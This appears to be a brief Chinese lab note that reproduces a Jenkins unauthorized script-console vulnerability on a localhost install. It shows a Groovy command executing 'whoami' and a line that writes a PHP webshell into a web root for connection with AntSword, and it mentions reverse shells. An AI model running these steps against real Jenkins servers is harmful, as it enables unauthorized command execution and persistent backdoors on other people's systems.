跟着百度一步步做，也算是认识了
Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件项目可以进行持续集成。
ps：不搞java开发，了解即可。
未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件。
默认端口为8080
安装jenkins
链接：https://pan.baidu.com/s/1PzUlSp7Cw82x6zVsvpI6FA
提取码：9528
下载成功，运行后任务管理器开启jenkins服务。
然后再浏览器输入http://localhost:8080
找到脚本命令行，输入
println "whoami".execute().text
上传webshell
new File("D:\phpstudy_pro\WWW\ma.php").write('');
蚁剑连接，成功
